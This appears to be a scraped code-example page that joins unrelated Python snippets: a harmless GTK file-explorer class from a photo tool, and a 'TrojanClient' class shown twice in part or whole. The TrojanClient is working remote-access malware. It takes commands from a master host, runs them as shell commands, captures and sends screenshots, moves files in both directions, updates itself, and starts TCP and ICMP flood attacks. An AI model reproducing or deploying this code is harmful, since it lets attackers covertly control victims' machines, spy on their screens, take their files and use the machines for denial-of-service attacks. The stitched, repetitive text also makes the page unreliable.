コード例 #1
0
ファイル: Explorer.py プロジェクト: babytux/PyCamimg
 def __init__(self, showHiddens=True):
     """
     @summary: Create an explorer.
     @param showHiddens: True if you show hidden files. Default True
     """
 
     # Initialize the stack of directories
     self.__stackDirs__ = []
     self.__currPointStack__ = -1
     self.__maxStackSize__ = self.MAX_STACK
     __log__.debug("Set size of history stack %d" % self.__maxStackSize__)
     
     self.__showHiddens__ = showHiddens
     __log__.debug("Show hiddens: %s" % showHiddens)
     
     __log__.debug("Setting controls of explorer...")
     # Generates TreeViews
     self.__tvExplorer__ = TreeExplorer(selectCallback=self.__selectDirectoryOnTreeNav__,
                                        showHiddens=self.__showHiddens__)
     __log__.debug("Created TreeExplorer. %s" % self.__tvExplorer__)
     
     self.__fileExplorer__ = FileExplorer(showHiddens=self.__showHiddens__)
     self.__fileExplorer__.setEnterDirectoryCallback(self.__enterDirectory__)
     self.__fileExplorer__.setBeginLoadCallback(self.__loading__)
     self.__fileExplorer__.setEndLoadCallback(self.__loaded__)     
     __log__.debug("Created FileExplorer. %s" % self.__fileExplorer__)
     
     self.__initUI__()
コード例 #2
0
    def __init__(self, udpPort=8082):
        # configs
        self.udpPort = udpPort
        self.udpRecvPort = udpPort + 1
        self.masterIP = master_ip
        self.masterUdpPort = config.getint('client', 'masterUdpPort')
        self.masterTcpPort = config.getint('client', 'masterTcpPort')
        self.ownip = get_host_ip()
        print(self.ownip)
        self.cwd = os.getcwd()
        self.fileExplorer = FileExplorer()

        self.p = None

        self.enableRun = True
        self.realCmdQ = Queue()
        self.commandThread = Thread(target=self.cmdRecv)
        self.commandThread.daemon = True
        self.commandThread.start()

        self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpSocket.bind((self.ownip, self.udpPort))

        self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpRecvSocket.bind((self.ownip, self.udpRecvPort))

        self.tcpSocket = None

        self.udpQ = Queue()
        self.udpS = Thread(target=self.udpSend, daemon=True)
        self.udpR = Thread(target=self.udpRecv, daemon=True)
        self.udpS.start()
        self.udpR.start()


        self.tcpSQ = Queue()
        self.tcpS = Thread(target=self.RealtcpSend, daemon=True)
        self.tcpS.start()

        self.enablePic = True
        self.picTime = 5  # 每张截图时间间隔为 picTime * 0.05

        self.picThread = None
        self.width = 672

        self.attacker = Attacker()
コード例 #3
0
ファイル: Explorer.py プロジェクト: babytux/PyCamimg
class Explorer:
    """
    @summary: This class is an file system explorer like Nautilus
    """
    # Widgets
    __tvExplorer__ = None
    __fileExplorer__ = None
    __bBack__ = None
    __bForward__ = None
    __bUp__ = None
    __bHome__ = None

    # Separator for splitting drag&drop selection
    SEP = "\n"
    # ID of data for drag&drop
    TARGET_TEXT = 80
    MAX_STACK = 50
    
    def __init__(self, showHiddens=True):
        """
        @summary: Create an explorer.
        @param showHiddens: True if you show hidden files. Default True
        """
    
        # Initialize the stack of directories
        self.__stackDirs__ = []
        self.__currPointStack__ = -1
        self.__maxStackSize__ = self.MAX_STACK
        __log__.debug("Set size of history stack %d" % self.__maxStackSize__)
        
        self.__showHiddens__ = showHiddens
        __log__.debug("Show hiddens: %s" % showHiddens)
        
        __log__.debug("Setting controls of explorer...")
        # Generates TreeViews
        self.__tvExplorer__ = TreeExplorer(selectCallback=self.__selectDirectoryOnTreeNav__,
                                           showHiddens=self.__showHiddens__)
        __log__.debug("Created TreeExplorer. %s" % self.__tvExplorer__)
        
        self.__fileExplorer__ = FileExplorer(showHiddens=self.__showHiddens__)
        self.__fileExplorer__.setEnterDirectoryCallback(self.__enterDirectory__)
        self.__fileExplorer__.setBeginLoadCallback(self.__loading__)
        self.__fileExplorer__.setEndLoadCallback(self.__loaded__)     
        __log__.debug("Created FileExplorer. %s" % self.__fileExplorer__)
        
        self.__initUI__()
    
    def __initUI__(self):
        """
        @summary: Initialize UI of explorer.
        """
        self.__uiManager__ = None
        self.__exportControl__ = gtk.VBox()
        
        self.__initToolbar__()
        if (hasattr(self, "__toolBar__")):
            self.__exportControl__.pack_start(self.__toolBar__, False)
            
        lTreeExplorer = gtk.Label(_("<b><u>Tree</u></b>"))
        lTreeExplorer.set_use_markup(True)
        vBoxTree = gtk.VBox()
        vBoxTree.pack_start(lTreeExplorer, False)
        vBoxTree.pack_start(self.__tvExplorer__.getControl(), True, True)
            
        hPaned = gtk.HPaned()
        hPaned.add1(vBoxTree)
        hPaned.add2(self.__fileExplorer__.getControl())
        hPaned.set_position(250)
            
        # Navigator frame.
        self.__imgLoad__ = gtk.Image()
        self.__pathIcon__ = os.path.join(__ICONS_FOLDER__, "loading.gif")
        
        lNav = gtk.Label(_("<b>Navigator</b>"))
        lNav.set_use_markup(True)
        
        hBoxNav = gtk.HBox()
        hBoxNav.pack_start(self.__imgLoad__, False)
        hBoxNav.pack_start(lNav, True)
        
        fNavFrame = gtk.Frame()
        fNavFrame.set_shadow_type(gtk.SHADOW_ETCHED_IN)
        fNavFrame.set_label_widget(hBoxNav)
        fNavFrame.add(hPaned)
        
        self.__exportControl__.pack_start(fNavFrame, True, True)
        
    def __initToolbar__(self):
        """
        @summary: Initialize UI of toolbar.
        """
        actionGroupExplorer = gtk.ActionGroup("ActionGroupExplorer")
        
        # Create actions
        actionGroupExplorer.add_actions([("BackExplorerAction", gtk.STOCK_GO_BACK, _("_Back"), None, _("Go back in history"), self.__goBackEvent__),
                                         ("ForwardExplorerAction", gtk.STOCK_GO_FORWARD, _("_Forward"), None, _("Go forward in history"), self.__goForwardEvent__),
                                         ("UpExplorerAction", gtk.STOCK_GO_UP, _("Up"), None, _("Go up level in explorer"), self.__goUpLevelEvent__),
                                         ("HomeExplorerAction", gtk.STOCK_HOME, _("_Home"), None, _("Go Home"), self.__goHomeEvent__)])
        
        actionGroupExplorer.set_translation_domain(pycamimg.gettextName)
        
        __log__.debug("There is a xml path. UI Menus and tools will be recovered from path %s" % __XMLUI_FOLDER__)
        self.__uiManager__ = FactoryControls.getUIManager(os.path.join(__XMLUI_FOLDER__, "Explorer.xml"), None, actionGroupExplorer)[0]

        self.__toolBar__ = self.__uiManager__.get_widget("/ToolsExplorer")
        self.__toolBar__.set_style(gtk.TOOLBAR_BOTH_HORIZ)
        self.__toolBar__.set_tooltips(True)
        
        self.__bBack__ = self.__uiManager__.get_widget("/ToolsExplorer/Back")
        self.__bBack__.set_is_important(True)
        self.__bForward__ = self.__uiManager__.get_widget("/ToolsExplorer/Forward")
        self.__bUp__ = self.__uiManager__.get_widget("/ToolsExplorer/Up")
        self.__bHome__ = self.__uiManager__.get_widget("/ToolsExplorer/Home")

    def __addDirToStack__(self, dir):
        """
        @summary: Adds a directory in stack
        @param dir: Path to add to history stack. 
        """
        insert = True
        if (self.__currPointStack__ > -1):
            last = self.__stackDirs__.pop(self.__currPointStack__)
            if (last != dir):
                self.__stackDirs__.insert(self.__currPointStack__, last)
            else:
                self.__currPointStack__ -= 1
            
        initial = self.__currPointStack__ + 1
        while (initial < len(self.__stackDirs__)):
            self.__stackDirs__.pop(len(self.__stackDirs__) - 1)

        self.__currPointStack__ += 1
        self.__stackDirs__.insert(self.__currPointStack__, dir)
        

        while (len(self.__stackDirs__) > self.__maxStackSize__):
            self.__stackDirs__.pop(0)
            self.__currPointStack__ -= 1

        if (self.__currPointStack__ < -1):
            self.__currPointStack__ = -1

        self.enabledNavigationButtons()
    
    def __printDirectory__ (self, path):
        """
        @summary: Print a directory path.
        @param path: Path to print into explorer. 
        """
        self.__fileExplorer__.applyPath(path)
        self.__tvExplorer__.applyPathOnNav(path, True)
        __log__.debug("%s path set" % path)

    def __printCurrDirectory__(self):
        """
        @summary: Prints the current directory.
        """
        self.__printDirectory__(self.getCurrentDirectory())
        
    def __goHomeEvent__(self, b):
        """
        @summary: Goes to home directory.
        @param b: GtkButton thats generates event. 
        """
        self.goHome()
    
    def __goBackEvent__(self, b):
        """
        @summary: Goes one step back into history.
        @param b: GtkButton thats generates event. 
        """
        self.back()
        
    def __goForwardEvent__(self, b):
        """
        @summary: Goes one step forward into history.
        @param b: GtkButton thats generates event. 
        """
        self.forward()
        
    def __goUpLevelEvent__(self, b):
        """
        @summary: Goes up level from the current directory.
        @param b: GtkButton thats generates event. 
        """
        self.upLevel()
        
# TREEVIEW EVENTS
    def __selectDirectoryOnTreeNav__(self, path):
        """
        @summary: Runs when directory is selected on navigator.
        @param path: Path that it was selected. 
        """
        self.__fileExplorer__.applyPath(path)
        
# FILE EXPLORER EVENTS
    def __enterDirectory__ (self, path):
        """
        @summary: Handle enter in directory.
        @param path: Path that it was selected. 
        """
        if (os.path.isdir(path)):
            self.__addDirToStack__(path)
            self.__tvExplorer__.applyPathOnNav(path, True)
        else:
            __log__.warning("It could not recover file path.")
            
    def __loading__(self):
        """
        @summary: Update ui when explorer is loading.
        """
        UIUtils.setAnimation(self.__imgLoad__, self.__pathIcon__)
    
    def __loaded__(self):
        """
        @summary: Update ui when explorer is loaded.
        """
        UIUtils.clearImage(self.__imgLoad__)
    
#####PUBLIC METHODS#######  
    def getControl(self):
        """
        @summary: Gets control to add into a container.
        @return: GtkVBox.
        """
        return self.__exportControl__

    def getCurrentDirectory(self):
        """
        @summary: Gets current directory.
        @return: string with current directory path. No if there is not current path
        """
        if ((self.__currPointStack__ <= -1) or
            (self.__currPointStack__ >= len(self.__stackDirs__))):
            return None

        return self.__stackDirs__[self.__currPointStack__]
    
    def getSelectedFiles(self):
        """
        @summary: Gets selected files from file explorer.
        @return: An array with all selected files.
        """
        return self.__fileExplorer__.getSelectedFiles()
    
    def enabledNavigationButtons(self, glock=False):
        """
        @summary: Enabled or disabled navigation buttons.
        @param glock: True if gtk loop must be locked. 
        """
        UIUtils.enabledWidget(self.__bBack__, self.__currPointStack__ > 0, glock)
        UIUtils.enabledWidget(self.__bForward__, self.__currPointStack__ < (len(self.__stackDirs__) - 1), glock)

    def refresh(self):
        """
        @summary: prints again current directory.
        """
        self.__printCurrDirectory__()

    def goHome(self):
        """
        @summary: Goes to home directory.
        """
        self.go(os.path.expanduser("~"))

    def go (self, path):
        """
        @summary: Goes to a directory.
        @param path: Path that it will be selected.
        """
        dir = None
        if (not os.path.isdir(path)):
            __log__.debug("% is not a directory. Go to parent directory." % path)
            dir, file = os.path.split(path)
            __log__.debug("% is not a directory. Go to parent directory [%s]." % (path, dir))
        else:
            dir = path
        
        if (dir != None):
            self.__addDirToStack__(dir)
            self.__printDirectory__(dir)
            
    def back (self):
        """
        @summary: Goes one step back into history.
        """
        if (self.__currPointStack__ > 0):
            self.__currPointStack__ -= 1

        self.enabledNavigationButtons()
        self.__printCurrDirectory__()
            
    def forward (self):
        """
        @summary: Goes one step forward into history.
        """
        if (self.__currPointStack__ < (len(self.__stackDirs__) - 1)):
            self.__currPointStack__ += 1

        self.enabledNavigationButtons()
        self.__printCurrDirectory__()

    def upLevel (self):
        """
        @summary: Goes up level from the current directory.
        """ 
        path = self.getCurrentDirectory()
        if (path != None):
            sPath, dir = os.path.split(path)
            if (path != sPath):
                self.__addDirToStack__(sPath)
                self.__printDirectory__(sPath)
        else:
            __log__.warning("There is not current path. It is not possible determinte which is the parent directory.")
コード例 #4
0
class TrojanClient:
    def __init__(self, udpPort=8082):
        # configs
        self.udpPort = udpPort
        self.udpRecvPort = udpPort + 1
        self.masterIP = master_ip
        self.masterUdpPort = config.getint('client', 'masterUdpPort')
        self.masterTcpPort = config.getint('client', 'masterTcpPort')
        self.ownip = get_host_ip()
        print(self.ownip)
        self.cwd = os.getcwd()
        self.fileExplorer = FileExplorer()

        self.p = None

        self.enableRun = True
        self.realCmdQ = Queue()
        self.commandThread = Thread(target=self.cmdRecv)
        self.commandThread.daemon = True
        self.commandThread.start()

        self.udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpSocket.bind((self.ownip, self.udpPort))

        self.udpRecvSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.udpRecvSocket.bind((self.ownip, self.udpRecvPort))

        self.tcpSocket = None

        self.udpQ = Queue()
        self.udpS = Thread(target=self.udpSend, daemon=True)
        self.udpR = Thread(target=self.udpRecv, daemon=True)
        self.udpS.start()
        self.udpR.start()


        self.tcpSQ = Queue()
        self.tcpS = Thread(target=self.RealtcpSend, daemon=True)
        self.tcpS.start()

        self.enablePic = True
        self.picTime = 5  # 每张截图时间间隔为 picTime * 0.05

        self.picThread = None
        self.width = 672

        self.attacker = Attacker()

    def cmdRecv(self):
        while True:
            cmd = self.realCmdQ.get()
            lang = judgelang()
            if lang == "Linux":
                cmd = cmd.encode("UTF-8")
            try:
                thread = Thread(target=self.run_command, args=(cmd, lang))
                thread.start()
            except:
                self.tcpSend("response", "Command Error")

    def tcpPieceSend(self, data, socket, size=1024):
        dsize = 0
        data_len = len(data)
        while dsize + size <= data_len:
            socket.send(data[dsize: dsize + size])
            dsize += size
        if dsize < data_len:
            socket.send(data[dsize:])

    def RealtcpSend(self):
        while True:
            print("正在获取tcp发送包")
            q = self.tcpSQ.get()
            cmd = q['cmd']
            data = q['data']
            print("已取得, 正在发送:", cmd)
            if not self.tcpSocket:
                return
            try:
                self.tcpSocket.send(struct.pack('i', len(cmd.encode("utf8"))))
                self.tcpSocket.send(cmd.encode("utf8"))
                if cmd == "pic":
                    imd = data.tobytes()
                    img_len = len(imd)
                    self.tcpSocket.send(struct.pack('iii', *data.size, img_len))
                    self.tcpPieceSend(imd, self.tcpSocket, 1024)

                elif cmd == "response":
                    self.tcpSocket.send(struct.pack('i', len(data.encode("utf8"))))
                    self.tcpSocket.send(data.encode("utf8"))

                elif cmd == "filelist":
                    self.tcpSocket.send(struct.pack('i', len(data)))
                    self.tcpPieceSend(data, self.tcpSocket, 1024)

                elif cmd == "file":
                    length = os.path.getsize(data)
                    self.tcpSocket.send(struct.pack('i', length))
                    with open(data, 'rb') as file:
                        while True:
                            d = file.read(1024)
                            if not d:
                                break
                            self.tcpPieceSend(d, self.tcpSocket, 1024)
            except:
                print("控制端断开")

    def tcpSend(self, cmd, data=None):
        self.tcpSQ.put({
            'cmd': cmd,
            'data': data
        })


    def tcpPieceRecv(self, length, socket, size=1024):
        dsize = 0
        body = b''
        while dsize + size < length:
            piece = socket.recv(size)
            body += piece
            dsize += len(piece)
        body += socket.recv(length - dsize)
        return body

    def saveFiles(self, socket, file_name, size):
        try:
            data = self.tcpPieceRecv(size, socket, 1024)
            with open(file_name, 'wb') as file:
                file.write(data)
                self.tcpSend("response", "传输完成")
        except Exception as e:
            self.tcpSend("response", str(e))
            self.tcpSend("response", "文件上传失败")

    def udpSend(self):
        print("UDP 发送器已启动")
        while True:
            udpPacket = self.udpQ.get()
            print("发送UDP数据包: %s" % udpPacket.content.decode('utf8'))
            if udpPacket.type == 'send':
                self.udpSocket.sendto(udpPacket.content, (self.masterIP, self.masterUdpPort))
            elif udpPacket.type == 'close':
                print("UDP 发送器已停止")
                break

    def udpRecv(self):
        print("udp 接收器已启动")
        while True:
            data, addr = self.udpRecvSocket.recvfrom(1024)
            print("Received from %s:%d  --> %s" % (addr, self.udpPort, data.decode('utf8')))
            allcmd = data.decode('utf8').split(' ')
            cmd = allcmd[0]
            if cmd == 'find':
                udpPacket = UdpPacket()
                udpPacket.type = 'send'
                udpPacket.content = 'find'.encode('utf8')
                self.udpQ.put(udpPacket)
            elif cmd == 'connect':
                self.tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    self.tcpSocket.connect((self.masterIP, self.masterTcpPort))
                except:
                    self.tcpSocket.close()
                    self.tcpSocket = None
            elif cmd == 'disconnect':
                if self.tcpSocket:
                    self.tcpSocket.close()
                    self.tcpSocket = None
            elif cmd == 'tcpFlood':
                # dst_ip  port start end
                self.attacker.enableStop = False
                self.attacker.allFlood(*allcmd[1:])
            elif cmd == 'icmpFlood':
                self.attacker.enableStop = False
                self.attacker.icmpAttack(allcmd[1])
            elif cmd == 'floodStop':
                self.attacker.enableStop = True
            elif cmd == 'pic':
                self.enablePic = True
                self.sendPic(disposable=True)
            elif cmd == 'picstart':
                self.enablePic = True
                if not self.picThread:
                    self.picThread = Thread(target=self.sendPic, daemon=True)
                    self.picThread.start()
            elif cmd == "picstop":
                self.enablePic = False
                self.picThread = None
            elif cmd == "set":
                if allcmd[1] == "pictime":
                    self.picTime = int(allcmd[2])
                elif allcmd[1] == "picwidth":
                    self.width = int(allcmd[2])
            elif cmd == 'upload':
                filename = allcmd[1]
                size = int(allcmd[2])
                print(filename)
                self.saveFiles(self.tcpSocket, filename, size)
            elif cmd == 'getFile':
                filename = allcmd[1]
                full = os.path.join(os.getcwd(), filename)
                self.tcpSend("file", full)
            elif cmd == "update":
                try:
                    if self.tcpSocket:
                        self.tcpSocket.close()
                    if self.udpSocket:
                        self.udpSocket.close()
                    if self.udpRecvSocket:
                        self.udpRecvSocket.close()
                except Exception as e:
                    print(e)
                update(allcmd[1])
            elif cmd == 'dos':
                if allcmd[1] == 'restart':
                    restart_program()
                    return
                if allcmd[1] == 'terminate':
                    self.enableRun = False
                    continue
                elif allcmd[1] == 'cd':
                    try:
                        os.chdir(allcmd[2])
                    except:
                        print("权限不足")
                    self.cwd = os.getcwd()
                    self.enableRun = True
                    self.realCmdQ.put('echo %s' % self.cwd)
                    self.transportList()
                else:
                    self.enableRun = True
                    self.realCmdQ.put(' '.join(allcmd[1:]))

            elif cmd == "ls":
                self.transportList()

    def transportList(self):
        self.fileExplorer.getList()
        data = json.dumps({'list': self.fileExplorer.list, 'pwd': os.getcwd()})
        self.tcpSend(cmd="filelist", data=data.encode('utf8'))

    def sendPic(self, disposable=False):
        while self.enablePic:
            print("...", end='')
            im = ImageGrab.grab()
            im = im.resize((self.width, int(im.size[1] * self.width / im.size[0])), Image.ANTIALIAS)
            self.tcpSend(cmd='pic', data=im)
            time.sleep(self.picTime * 0.05)
            if disposable:
                break

    def searchMaster(self):
        udpPacket = UdpPacket()
        udpPacket.type = 'send'
        udpPacket.content = 'find'.encode('utf8')
        self.udpQ.put(udpPacket)

    def run_command(self, command, lang):
        command = command.rstrip()
        print("the command is", command)
        try:
            if not self.enableRun:
                if self.p:
                    self.p.terminate()
                    return
            self.p = subprocess.Popen(command, bufsize=48, shell=True, close_fds=True, stdin=subprocess.PIPE,
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.cwd)
            # poll()判断是否执行完毕,执行完毕返回0,未执行完毕返回None
            while self.p.poll() is None and self.enableRun:
                line = self.p.stdout.readline()
                line = line.strip()
                if line:
                    # 将输出的结果实时打印,并且转换编码格式
                    # print('Subprogram output: [{}]'.format(line.decode(lang)))
                    self.tcpSend("response", line.decode(lang))
            # if self.p.returncode == 0:
            #     print('Subprogram success')
            # else:
            #     print('Subprogram failed')

        except Exception as e:
            self.tcpSend("response", str(e))